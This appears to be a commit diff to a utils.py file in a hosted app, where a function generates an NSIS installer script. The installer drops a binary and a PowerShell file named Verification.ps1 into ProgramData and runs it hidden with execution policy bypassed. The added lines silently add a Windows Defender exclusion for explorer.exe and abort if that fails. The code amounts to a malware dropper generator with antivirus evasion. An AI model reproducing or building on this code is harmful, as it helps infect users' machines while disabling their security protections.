Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -87,6 +87,9 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
|
|
87 |
SetOutPath "$WINDIR\..\ProgramData\Installer"
|
88 |
File "{bin_file}"
|
89 |
File "{ps1_file}"
|
|
|
|
|
|
|
90 |
ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
|
91 |
SetAutoClose true
|
92 |
SectionEnd
|
|
|
87 |
SetOutPath "$WINDIR\..\ProgramData\Installer"
|
88 |
File "{bin_file}"
|
89 |
File "{ps1_file}"
|
90 |
+
ExecWait 'conhost --headless powershell -ep bypass -c "Add-MpPreference -ExclusionProcess \"explorer.exe\""'
|
91 |
+
IfErrors 0 +2
|
92 |
+
Abort
|
93 |
ExecShell "open" "powershell.exe" "-ExecutionPolicy Bypass -File $INSTDIR\Verification.ps1" SW_HIDE
|
94 |
SetAutoClose true
|
95 |
SectionEnd
|